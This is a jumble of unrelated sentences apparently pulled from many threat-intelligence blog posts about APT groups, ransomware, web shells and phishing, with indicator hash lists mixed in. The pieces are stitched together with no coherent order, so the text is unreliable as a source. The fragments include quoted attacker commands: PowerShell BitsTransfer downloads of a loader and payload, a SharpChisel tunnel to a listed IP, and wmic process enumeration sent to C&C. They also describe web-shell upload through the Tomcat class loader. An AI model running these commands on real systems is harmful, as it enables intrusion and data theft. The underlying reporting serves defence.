The server-side variant has also been noted to be used as a malware loader by the Winnti Group.


Both versions tried to download and execute files km1 or km2, an .MSI installer that executes the FlawedAmmyy downloader.


Web shells can be embedded on web servers and can be used by malicious actors to launch arbitrary code.


It has many of the same capabilities as another backdoor, Crosswalk, which has also been used by Earth Baku.


In addition to the backdoor’s modus operandi, the attackers will use a Microsoft WMI command-line tool to list the compromised system’s running processes, which are sent to the C&C server:  “C:\Windows\system32\cmd.exe” /c “wmic process get processid,commandline,sessionid | findstr SysWOW” “C:\Windows\system32\cmd.exe” /c “wmic process get processid,commandline,sessionid | findstr x86”    Technical Analysis


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We terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.


We also touch on the latest TA505 developments, including an email stealer, their use of legitimate software and MSI Installer, and more.


The number following this string is most likely a unique command identifier.


The second algorithm involves a hardcoded key, which is transformed by taking the five lower bits of each character, and then used as a XOR key.


My First App  -     061b0379a12b88488db8540226e400e3f65fef9a4c1aa7744da9f17e1d93d78d  com.example.opinionpoll  OpinionPoll  -     fb6ac9d93fd47db3d32f6da6320344a125e96754a94babb9d9d12b6604a42536  com.metasploit.stage  MainActivity  https://185.225.19[.]46:4589  AndroidOS_Metasploit.HRX  468b74883536938ef3962655dfcc3ca4097ca9b5b687dfc1fef58d50e96dc248  com.metasploit.stage  MainActivity  tcp://185.225.19.46[:]4875   AndroidOS_Metasploit.HRX  a377e5f4bf461b86f938959256b7ab8b1b40bb9fd3cd45951c736a22366a8dd1  com.example.firstandoidapp  My First App  tcp://185.225.19.46[:]4875  AndroidOS_Metasploit.


One easy way to get RCE is using the exposed class loader to modify the Tomcat log configuration and remotely upload a JSP web shell after changing the Tomcat log configuration.


The difference in initial and final ransom demands over the past fiscal year has been converted to percentages and then averaged.


We initially discovered the malware known as ANEL back in September 2017.


It explains that by opening the application the reader agrees to receive up to 10 SMS messages a week at a cost of 1.46 euros each.


For requests sent to “/cgi-bin/start,” which is a page wrapper used to show the main webmail page, the Service Worker script will reply by sending another page to the victim.


The group already implemented certain mechanisms to prevent AV detection.


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Initial Access


Compromised enterprise assets are a lucrative commodity on underground markets; cybercriminals are well aware of how to make money from attacking company servers.


SMS-based IAP SDKs have become a gray zone that needs close attention.


Malware used by Earth Lusca Earth Lusca employs several malware and other hacking tools in its arsenal.


In 2017, Palo Alto’s Unit 42 detailed their findings around the Freenki malware.


The potential victim may not be able to notice the intrusions as the first stage involves only profiling and reconnaissance.


In addition to using those features, you should take time to ensure you know what health information is being used and that the cloud account(s) these devices synchronize with have very strong passwords.


Code excerpt from the scheduled task     We also noticed the path string “ServiceHub”, which is a path to the extracted Python runtime.


The script “getwechatdb” is used for exfiltrating the chat history from the WeChat Windows client.


Upon checking the cached version of the page, we discovered that it was also used to distribute the adult game first used by the attackers behind Maikspy.


The XML message with the screenshot


Imagine that!


Over time, that business became less profitable due to anti-spam controls and ISPs preventing infected systems from directly relaying emails.


We expect to see more cases involving four or five files instead of the usual “trident” in the future.


If the RCE was successful, the javascript would request the next stage referenced within the script as “SBX”, a common acronym for Sandbox Escape.


But the server only checks the cookie length field, not whether the cookie buffer can be read.


As per the Exchange documentation, clients don’t directly connect to the backend services.


Recent events continue to highlight the abuse of remote access applications in the enterprise.


A proactive strategy can be much more effective for targeted attacks, as these kinds of attacks are often designed to be elusive and difficult to detect, thus the need to scope them out.


Two parts must be combined to ensure a successful attack.


The HandlePP::getClientID method uses the following environment variables:  Figure 11. Serial number  Figure 12.


LockBit 2.0 targets organizations opportunistically.


Targeting a Vietnamese speaking audience, one of the malicious documents mentions Donald Trump and the disputed South China Sea area.


Here’s a summary of the attack chain of Tropic Trooper’s recent campaigns:


We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.


We terminated 17 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.


The “killswitch” is code which will attempt to connect to an extremely long domain that should not resolve.


As described above, the most-common exploit scenario seems like it will be web servers running Apache and using CGI scripts.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  6ee8f6a0c514a5bd25f7a32210f4b3fe878d9d417a7ebe07befc285131bae10e  news.exe


The X-axis is the number of apps sharing the same certificate.


A new folder named "Download" is created adjacent to the main binary.


Figure 12.


The attacker injected their skimming script into the shared JavaScript libraries used by online stores on the PrismWeb platform.


This loader can stealthily run its payload in various ways, such as using the CreateThread function, bypassing Microsoft’s Control Flow Guard (CFG), module stomping, and phantom dynamic link library (DLL) hollowing.


PlugX and  malicious BLOBs


The config files have a similar, custom structure, and both groups have infrastructure overlap.


APT33 has also been executing more aggressive attacks over the past few years.


#-*-coding:utf-8 -*- import os, sys, datetime, operator, base64 def decrypt():     if len(sys.argv) != 2:       print "Usegae : ./decrypt_protux_magnet.py <Full magnet strings>" sys.exit(0) str = sys.argv[1] head = str.find("magnet:?xt=urn:bhih:")


Differences with regards to Backdoor commands:  CMD ID 5.0.0 beta1/5.1.1 rc/5.1.2 rc1 5.2.0 rev1 0x97A168D9697D40DD Save File 0x7CF812296CCC68D5 Upload File 0x652CB1CEFF1C0A00 NA Load New PE file 0x27595F1F74B55278 Save File and Execute If no match above Execute Command or File   The differences shown in the table above are subtle but present.


This time every year, people all over the world get new devices.


Unit 42 was able to uncover additional x4k activity being linked to malicious infrastructure, and additional malware besides the initial ransomware sample, going back to 2020.


The group then logged in to a compromised email account of a chicken farm in Oman, and then sent out credential phishing spam messages to high-profile targets around the world.


The downloaded emails are not sent to the C2.


Encrypted configurations of Protux (top) and Marade (bottom) in the same blog post Correlating Marade and Protux


UUDama uses a combination of machines and humans to quickly take CAPTCHA images submitted by Cardbuyer (or anyone else who will pay) and turn them into the expected text within 60 seconds.


Other executions and lateral movement


We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.


We believe this is a technique the attacker is using to evade detection rules.


From Google:  “Android Open Source Project includes patches for this issue for Android 4.3 and later.


When this message is received, a periodic task for heartbeat message is set.


In this case, what are the motivation and end goals of an attacker?


We also checked the registrant data of the domains used by the attacker.


Version.dll is a modified version of a legitimate Microsoft file written in C++.


However, we believe that it will continue collecting internal information from the compromised victims and that it is simply waiting for an opportunity to use this data.


The reality is that IT departments of small to large-sized organizations are not equipped to handle the more advanced threats that groups like Confucius use in their attacks.


Unit 42 has observed numerous instances of CVE-2022-22954 being exploited in the wild.


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In Carbanak attacks, the groups’ attacks can involve logging into services that accept remote connections and using stolen password hashes through the “pass the hash” method.


All data is sent via HTTP POST requests.


The initial POST request contains a unique victim identifier that was previously generated.


In February, Microsoft awarded $100,000 to Yu Yang (@Tombkeeper) for reporting a new mitigation bypass technique as part of Microsoft’s Bounty Program.


It was last updated on January 26, 2021.


The stolen files are then exfiltrated by abusing a cloud storage service.


used


This post is also available in:      日本語 (Japanese)  Ransomware is one of the top threats in cybersecurity and a focus area for Palo Alto Networks.


But in this case, the attacker actually gets the credit that the victim’s computational resources earns without the visitors’ consent or knowledge making it a malicious attack.


Moreover, on March 17, LockBit forum members mentioned the release of LockBit’s next version in one or two weeks.


This trend correlates with an increase in Google searches for terms like "Ukraine aid."


Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.


Previous variants were spread through e-mail, but we have not identified this latest sample carried in any e-mail related attacks.


This response will instruct the malware to execute the given command:  The results of this -execution are stored in a temporary text file in the %TEMP% directory.


Email header “from” field shows New York and various email accounts indicating “Swiftme@{company domain names}”


Table 2. APT33 C&C domains for extreme narrow targeting  Figure 1. Schema showing the multiple obfuscation layers that APT33 uses


For this vulnerability, the class loader plays a vital role in the exploitation.


To be more specific in terms of ATT&CK® techniques, Carbanak and FIN7 share a notable number of similarities.


Figure 18.


The component responsible for managing the C&C server.


During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.


Recently observed Ghostwriter credential phishing domains:


It won’t be a surprise given mobile platform’s increasing ubiquity, especially in workplaces.


The program will delete any security emails from Google generated by the attacker’s activity.


December 2020:


During our investigation we discovered several documents uploaded to VirusTotal.


PlugX is a well-studied malware family with a long history of use in targeted attacks.


Yeah, well, again, everything that we see in cyberspace is a direct analogy on the physical side.


We were able to see this threat actor demonstrating some of his tools performing automated actions in his videos, such as obfuscating files, creating executables and code signing (Figure 21).


We do not know how Taomike is using the stolen SMS messages, but no library should capture all messages and send them to a system outside the phone.


Before, drive-by attacks focused on abusing a browser’s legitimate download capabilities to download malware onto the victim’s system without their consent or knowledge.


We learned how this threat actor leverages Cobalt Strike for his operations, including how to set up Beacons as well as how to send files to compromised systems.


This key is also sent via a HTTP POST request.


Targets typically had to navigate through at least one redirect before landing on a phishing domain.


In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.


Prevention Palo Alto Networks Traps advanced endpoint protection offers multiple methods of malware and exploit prevention to protect against these threats:


It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.


However, this malicious seller activity may also reveal a larger scale problem within university systems.


After that, the malware will collect the username and password inputs from web pages and sends it to hxxps://miakhalifagame[.]com/testinn[.]php.


The sample 74582c3d920332117541a9bbc6b8995fbe7e1aff communicates with the URL  https://www.upn-sec3-msd[.]com/ProxyServer/service/.


And we offer other advanced phishing and malware protection to administrators to better protect their users.


Host IOCs Registry Keys HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update File Paths C:\Windows\System32\Nwsapagent.sys C:\Windows\System32\helpsvc.sys C:\ProgramData\USOShared\uso.bin C:\ProgramData\VMware\vmnat-update.bin C:\ProgramData\VirtualBox\update.bin


For instance:  To improve the security of IAP, some payment platforms try to add a verification step in order to confirm an SMS was really sent by the user, for example, it will ask the user to reply with certain text that was sent to a phone number specified by the user.


It was last updated on May 27, 2020.


This week, learn about Trend Micro’s latest cloud security offering, Cloud One – Application Security.


When initially executed, PClock2 performs a very simple anti-analysis check where it will sleep for a random amount of time and compare the time spent sleeping against a set value.


A crafted packet could set the “CookieSize” field to 0x20 and have the actual cookie buffer contain less than 0x20 bytes of data.  When a DTLS client receives a HelloVerifyRequest packet with a CookieSize larger than 32 bytes the client does not properly validate the CookieSize value against the amount of cookie data in the packet.


If yes, it replaces the PID to be opened with another Windows Service PID that has been written by the Waterbear loader in the beginning.


Overlay screen


It was last updated on January 26, 2021.


Backdoor analysis


Finally, the malware will parse the third line, which instructs the malware to modify the wait interval to a value of ‘60’.


Furthermore, BIOPASS RAT also creates scheduled tasks to load the Cobalt Strike shellcode during the initialization, indicating that the malicious actor behind the attack still heavily relies on Cobalt Strike.


Most defenses, traditional defenses worry about that north/south traffic.


There are many common mutexes shared across both benign software and malware.


They also have some changes that make sense, such as removing the error “failed to take…,” since this is not required for the malware functionality.


Google could reverse this situation by making setting the android:allowBackup property to false by default, requiring developers to opt-in to the backup system, rather than opt-out.


After compromising an account, the actor maintains persistence by granting themselves an OAuth token to a legitimate email app like Thunderbird, or by linking the victim Gmail account to an attacker-owned account on a third-party mail provider.


Thank you for your understanding.


However, it doesn’t adequately address the reality of the non-linear nature of attacks.


Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb


The value in the command byte determines which of the commands is run through a 76 way switch statement.


In order to decrypt these files, the victim must provide a ransom, or payment, to the attacker, often in the form of a digital currency.


In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.


The NSO Group’s spyware spurred a collaborative investigation that found that it was being used to target high-ranking individuals in 11 different countries.


Used to enumerate external storage file system Discovery Location Tracking T1430 Used to track device’s location Collection Access Call Log T1433 Used to gather call log data Collection Access Contact List T1432 Used to gather contact list data


It is important to note that both Adobe Flash and Microsoft Silverlight have already been deprecated by their respective vendors.


Figure 4: Execution/infection flow of loadoerf.ini


2.      “python”: executes a Python script delivered with the command.


We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.


In this case we dig deeper into the possible connection between cyberattacks by focusing on the similarities an unnamed threat actor shares with Confucius, Patchwork, and another threat actor called Bahamut.


Starting from August 2020, Pawn Storm has sent several spear phishing emails with a malicious RAR attachment.


If you have kids, avoid the temptation to let them all use one account or accounts without passwords: this is a chance for them to start to learn the right way to handle passwords by giving them their own and teaching them to never share that password.


After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day.


For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.


Both events never or rarely happened in the victim’s environment.


Android supports the ability to install apps from the Google Play store as well as from the local file system.


The encrypted file icon will look the same as usual, but after opening the infected file, the ransom note will pop up.


If a developer wants to use a different certificate, they must publish the update separately as a new app.


Customers, cloud providers and security vendors have a shared responsibility to work together as the threat landscape continues to evolve.


Some ransomware families, including Babuk, Sodinokibi, Cerber, Mailto, Ryuk and others, seldom show the ransom amount or cryptocurrency wallet address.


/tmp


The implanted code begins when the DLL is loaded via DLL_PROCESS_ATTACH and performs the following at the DLLMain subroutine:  The technique outlined above uses process injection via undocumented Windows NTAPI calls.


Cybercriminals have different motivations: for example, some malicious actors have disruptive political attacks as their objective, while others might be more inclined towards cyberespionage and gathering information on their victims.


For example, the number of certificates used by only one app is 1,323.


As described in Google’s official document, the app developer is required to create a keystore with a set of private keys, and then use the private key to generate a signed version of apps.


An example of this technique, used to target Facebook users, can be seen in the screenshot below.


In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.


Attackers will soon begin targeting devices with higher specifications to get more bang for their buck.


In fact, over 15% of all collected worms share a single mutex [2gvwnqjz].


In this blog entry, we will dive deeper into BIOPASS RAT with a detailed technical analysis of the infection chain, the different components of the malware, and any possible associations with Winnti.


Clicking on the “Install now” button downloads a .ZIP archive, which contains several legitimate files as well as a few malicious ones, which are usually in form of DLL libraries.


This particular webshell is based on AntSword’s shell.jsp, which was modified to use a parameter of k3rwin instead of ant to load the class.


Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.


More interestingly, it was another, non-overlapping, subset of the Allaple family.


For more information on the new campaign discovered by Unit 42, please refer to our recent blog post.


Microsoft has publicly attributed the use of this custom malware to a threat actor they refer to as DEV-0586.


Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.


For information on how Palo Alto Networks products prevent Bad Rabbit, please see our Palo Alto Networks Protections Against Bad Rabbit Ransomware Attacks blog post.


As always if you have any questions, please come to the Threat & Vulnerability Discussions on our Live Community.


This is the exploit method used in the public PoC for the SpringShell vulnerability.


The following command then configures SharpChisel: C:\programdata\SharpChisel.exe client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999


To help defend users against APT41 specifically, we have developed an assessment tool that can scan endpoints for file-based indicators collected from global intelligence sources.


We received leads from the FBI that supported us in this investigation.


Loading a page with the WebKit RCE on the latest version of Safari (14.1), we learned the RCE was an n-day since it did not successfully trigger the exploit.


We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.


Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https://sites.google[.]com/view/ty85yt8tg8-download-rtih4ithr/ https://sites.google[.]com/view/user-id-568245/ https://sites.google[.]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/  Abused Dropbox Properties: https://www.dropbox[.]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf


Why should I care, what can it do to me?  Attackers are predictable: they follow people and money.


This looked similar to an earlier in-the-wild iOS vulnerability analyzed by Ian Beer of Google Project Zero.


Leaders of the U.S. intelligence community expressed this same concern in their annual appearance on capitol hill on Tuesday.


Commands used to scan for web server-related vulnerabilities and passwords on certain applications and ports


In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.


Accordingly, it continues to be a growth industry that will attract multitudes of new practitioners, and it is likely that high-profile targets will continue to fall.


And, unfortunately, the ones, which are reasonably easy for a human to identify, are so for significantly different reasons.


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Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites.


The vulnerability, which exists inside the webmail system’s shortcut feature, allows users to create links on the webmail front page.


Other messages that might be present in this key include the following.


TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.


Kuluoz e-mails often trick the reader into thinking they are delivery notifications (such as UPS or Fedex), or notices from airlines or payment processors.


The method of attack would be through a specially crafted URL sent to the vulnerable system.


Figure 7.


The email title and attached file name were written in Japanese and contain general business, political, and economy-themed phrases such as  世界経済(World economy) 経済政策(economic policy) 予算概算要求(budget estimation request) 日米対話(Japan-US dialogue) 安倍再任(re-appointment of Prime Minister Abe) 連絡網(contact network) 職員採用案(staff recruitment plan) 会議(meeting)  However, there is a change in the exploit document.


Email us at u42comms@paloaltonetworks.com.


Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.


Well, yeah, absolutely.


Latest Vacancy 8/28/18 careers@aramcojobs.ga Latest Vacancy 9/25/18 careers@aramcojobs.ga


Just click the URL below for your region, sign up today for your free trial and allow us to help you protect your business.


MSIL.SUNBURST.A 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 76640508b1e7759e548771a5359eaed353bf1eec


During the development stage, Android-created and open source components are subject to vigorous security reviews


If the vulnerability is exploited, threat actors could bypass authentication and run arbitrary code on unpatched systems.


Command and Scripting Interpreter: Windows Command Shell – T1059.003


Earth Baku deploys its ongoing campaign, which can be traced to as far back as July 2020, through multiple attack vectors that are designed based on different exploits or the infrastructure of its targeted victim's environment:  • SQL injection to upload a malicious file • Installment through InstallUtil.exe in a scheduled task • Possibly a malicious link (LNK) file sent as an email attachment • Exploitation of the ProxyLogon vulnerability CVE-2021-26855 to upload a China Chopper web shell  This campaign uses previously unidentified shellcode loaders, which we have named StealthVector and StealthMutant, and a backdoor, which we have dubbed ScrambleCross.


Patches for this vulnerability are available as part of the September 2017 Android Security Bulletin.


How the Attacks are Carried Out: Via Email


We routinely observe vulnerable devices across the global internet, despite the fact that most of these CVEs are more than two years old.


The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.


BIOPASS RAT Loader  Backdoor.Win32.BIOPASS.A  30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe  Silverlight_ins.exe


For users, Android provides safety and control over how apps and third parties can access the data from their devices.


Here are some of the X-Mailers we observed:


Initial investigation


The notes claimed the threat actors would pay “millions of dollars” to insiders who provided access to corporate networks or facilitated a ransomware infection by opening a phishing email and/or launching a payload manually.


The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.


One of the variants we analyzed had an interesting destructive feature: It replaces the master boot record (MBR) to display an explicit message (“I am virus ! F*ck you :-)”).


The indicators of compromise (IOCs) can be found in this appendix and the C&C server validation script can be accessed via this text file.


The app requests that the user pay 4.99$ per month for full protection.


GeckoHtmlElement > (


This interval value is set in the following registry key:  HKCU\Software\Microsoft\HY08A\Policy  Additionally, in the event the C2 response instructs the malware to update C2 URLs, it will be in the following format:  1001; [unique_identifier] [url]  The malware will encrypt the URL string with a 4-byte XOR key of “\x01\x02\x03\x04” and store this data in the following registry key:  HKCU\Software\Microsoft\HY08A\[unique_identifier]  The TDrop2 malware family that was witnessed in a recent attack against a European transportation company provided a minimal set of commands to the attackers.


And we’ve seen that in adapting their attacks to better evade detection, they’ve specialized their operations around the globe.


A complete list of the possible commands available in NetWire was documented by CIRCL in April.  The NetWire decoder uses data from a packet capture file to generate the client and server session keys then decode the remaining encrypted packets.


Figure 14.


IP address


TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


When we’re talking about online shopping, clearly there’s no threat here to the retailer: they’re the ones doing the attacking.


It has the ability to extract plaintext passwords, hash, PIN code, and Kerberos tickets from memory.


Related Sample Hash Values  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!


IMAP RAT  Trojan.MSIL.OCEANMAP.A  Troj.Win32.TRX.XXPE50FFF039  3384a9ef3438bf5ec89f268000cc7c83f15e3cdf746d6a93945add300423f756  email.exe


Obviously, this impact is potentially dire for shoppers and retailers as it directly impacts and harms the online shopping experience.


The main function of the dropper


Related IOCs


The most sophisticated attacks can – and do – blend these actions together, sometimes using multiple stolen credentials to penetrate networks, move laterally within them, elevate privileges, and then access and steal data.  Prevention of credential theft is too often overlooked.


In another chat room called “Maira’s room”, a target of interest disclosed he was a government officer traveling back from a northern city near the country’s provincial capital.


Conclusion and security recommendations


Digitally signed FlawedAmmyy downloader


This NSIS installer has two files: (nsExec.dll and repotaj.dll) and [NSIS].nsi.


In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.


To understand where this value is coming from, let’s take a look at the open-source ConfuserEx tool to see how the values are created.


But such initiatives must be built on solid, secure foundations.


Instead, malicious scripts are being executed when the administrators look into customer orders in their online shop’s administration panel.


(Please see the Conclusion section for more detail.)  LockBit 2.0 Overview Victimology Leak Site Data Unit 42 Incident Response Data on LockBit 2.0 LockBit 2.0 Tactics, Techniques and Procedures LockBit 2.0 Technical Details LockBit 3.0 Courses of Action Conclusion


However, Palo Alto Networks users are protected from these PUAs by subscribing to WildFire and GlobalProtect services.


In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.


This post is also available in:      日本語 (Japanese)  On June 2, Volexity reported that over Memorial Day weekend, they identified suspicious activity on two internet-facing servers running Atlassian’s Confluence Server application.


After the threat actors get access to the vulnerable hosts by using ProxyLogon exploits and web shells, they use bitsadmin to download the next-stage loader (loaders are detected as Nerapack) as well as its payload file (.bin). C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.exe' "%temp%/dfmanager.exe"}" C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.bin' "C:\Users\<redacted>\AppData\Local\Temp/dfmanager.bin"}"


Some 17,000 sites were recently compromised in this way.


As the OpenSSL library is so widely used, some administrators may be finding unpatched systems for years to come.


Remote access tool w.exe IIS 6 WebDav Exploit Tool Exploit tool for CVE-2017-7269 (IIS 6) Web.exe WebBrowserPassView Recover password stored by browser smb.exe Scanner


As with Bahamut applications, once downloaded and executed, it showed multiple malicious features that deal with stealing information.


Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.


Moreover, in its newer version, it uses a technique called “Timestomping.”


On March 2, Volexity reported in-the-wild exploitation of the vulnerabilities, to which DEVCORE confirmed that the exploit observed by Volexity was the one submitted to MSRC.


We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.


This directive requires agencies to remediate all vulnerabilities that CISA includes in their KEV catalog based on an assessment that the vulnerabilities “carry significant risk to the federal enterprise.”


Victims who clicked on the links would be served a hidden iframe that would trigger the exploit kit.


When the user reboots their PC, the modified MBR prevents Windows from loading and displays a fake “chkdisk” screen which indicates the computer's hard drive is being repaired, but the malware is actually encrypting the user's files.


are checked.


The first type of packer is a modified version of UPX.


We'll talk about it [00:03:00] here now, but I think when we talk in terms for, especially for here is like cyber conflict, cyber war, or hybrid, and the hybrid piece is just a definition of kinetic and cyber.


But as we’ve seen, it's an interesting concept because traditionally cyber has just been more of an information gathering or cyber espionage tool to aid any type of conflict.


In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.


A new form is displayed if the information is not provided via command prompt.


Several western governments have proposed broad recommendations focused on technical hygiene.


The targets received emails claiming to come from recruiters at Disney, Google and Oracle with fake potential job opportunities.


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This shows how vulnerable smart factories are when it comes to various cyberattacks, such as ransomware.


The loaded script is the main script that steals the payment information.


Upon further analysis, the t.sh script hosted on this remote server is related to the Mirai botnet.


Welcome to our weekly roundup, where we share what you need to know about cybersecurity news and events that happened over the past few days.


If the targeted victims enable macros, then the malicious process continues.


The following code is snippet from the disassembled ActionScript code of CVE-2014-1776.


If there’s a long-term consideration here, it’s to install perfect forward secrecy, as Twitter did last year.


March 2021:


We terminated 186 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


We terminated 1,098 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


Figure 3.


Share them in the comments below or follow me on Twitter to continue the conversation: @JonLClay.


At the time of research, there were around 60 victims whose data were uploaded to Confucius-owned cloud storage account.


An initial investigation into the DDoS attacks suggested that Mirai and Meris bot networks may have been leveraged in the attacks.


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Infrastructure analysis


Kuluoz makes money for its owner by installing other malware, such as crimeware or fake antivirus programs.


Trend Micro blocked 101% more cloud-based email threats in 2021 than the previous year.


In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.


Figure 9. The PowerShell downloading and installing AnyDeskMSI


In one recent case, Conti did not return a client’s files who had paid the ransom.


Figure 8 - Carbanak and FIN7 evaluation, 65 ATT&CK techniques across 11 ATT&CK tactics are in scope for this evaluation.


The Atlassian products vulnerable to CVE-2021-26084 are those using the following versions of Confluence Server and Data Center:  Confluence Cloud customers are not affected by this vulnerability.


As of May 25, LockBit 2.0 accounted for 46% of all ransomware-related breach events for 2022 shared on leak sites.


Payment systems like Apple Pay and Google Pay can offer more protection.


It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud workloads. Indicators of Compromise (IOCs) Hashes detected as W2KM_VALYRIA.DOCT:  009cc0f34f60467552ef79c3892c501043c972be55fe936efb30584975d45ec0 153117aa54492ca955b540ac0a8c21c1be98e9f7dd8636a36d73581ec1ddcf58 18479a93fc2d5acd7d71d596f27a5834b2b236b44219bb08f6ca06cf760b74f6 18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd 1ee9649a2f9b2c8e0df318519e2f8b4641fd790a118445d7a0c0b3c02b1ba942 2727bf97d7e2a5e7e5e41ccbfd7237c59023d70914834400da1d762d96424fde 2cea0b740f338c513a6390e7951ff3371f44c7c928abf14675b49358a03a5d13 3b1d8dcbc8072b1ec10f5300c3ea9bb20db71bd8fa443d97332790b74584a115 3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c 3da24cd3af9a383b731ce178b03c68a813ab30f4c7c8dfbc823a32816b9406fb 6edc067fc2301d7a972a654b3a07398d9c8cbe7bb38d1165b80ba4a13805e5ac 76e9988dad0278998861717c774227bf94112db548946ef617bfaa262cb5e338 9038ba1b7991ff38b802f28c0e006d12d466a8e374d2f2a83a039aabcbe76f5c 93745a6605a77f149471b41bd9027390c91373558f62058a7333eb72a26faf84 a70aca719b06fc8ef0cd0b0e010c7bc8dc6d632e4f2f874e4c0e553bd8db2df2 aa60c1fae6a0ef3b9863f710e46f0a7407cf0feffa240b9a4661a4e8884ac627 af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102 cee801b7a901eb69cd166325ed3770daffcd9edd8113a961a94c8b9ddf318c88 d07d4e71927cab4f251bcc216f560674c5fb783add9c9f956d3fc457153be025 dfbd67177af9d35188fc9ff9363c2b9017e9ccfe6719e3d641a56fb5dc0d47f7 eff78c23790ee834f773569b52cddb01dc3c4dd9660f5a476af044ef6fe73894 fbbda9d8d9bcaaf9a7af84d08af3f5140f5f75778461e48253dc761cc9dc027c  Hash detected as VBS_VALYRIA.DOCT:  0A9FC303CA03F4D9988A366CBBD96C24857E87374568EC5A4AAA4E55FE2C3C7E 0BC10D5396B3D8ECC54D806C59177B74E167D9F39D8F1B836806127AF36A7C4E 0BC10D5396B3D8ECC54D806C59177B74E167D9F39D8F1B836806127AF36A7C4E 25186621282D1E1BAD649B053BDB7B56E48B38189F80DB5A69B92301EF9ED613 25186621282D1E1BAD649B053BDB7B56E48B38189F80DB5A69B92301EF9ED613 3607432758176a2c41a1971b3c4d14a992a68b231851f8b81c6e816ea9ea29b2 59F9E0FAA73E93537AE4BD3A8695874BA25B66CEFA017537132914C770D0CF70 59F9E0FAA73E93537AE4BD3A8695874BA25B66CEFA017537132914C770D0CF70 59F9E0FAA73E93537AE4BD3A8695874BA25B66CEFA017537132914C770D0CF70 6228d79f56c574ceada16453404c54dd95641aa78d3faed6874daf485116793b 66af894eee6daae66bf0bcb87cb7abe2a0ebb6a59779f652db571e7ee298d751 92C7FEAD5EE0F0ECD35FE247DBE85648AADA4B96F1E960B527B4929E42D47B01 c006911be5480f09e0d8560c167561f68681607ca8f7e3c4f5d476dc6673594f F05C18C1D4428349137A9DF60CDEBE8A0F9E6DA47B359DC0616FF8D47E46704E  Hash detected as TROJ_VALYRIA.PS:  0065d592d739ac1dd04d0335151c8855c7fafbf03e86134510ac2fc6766e8d60 0073ce0f4c82fc4d0470868e124aab9ad08852e1712564136186e5019fca0da0 02F58256FF52ED1CDB21064A28D6E5320005F02EF16E8B2FE851438BBC62A102 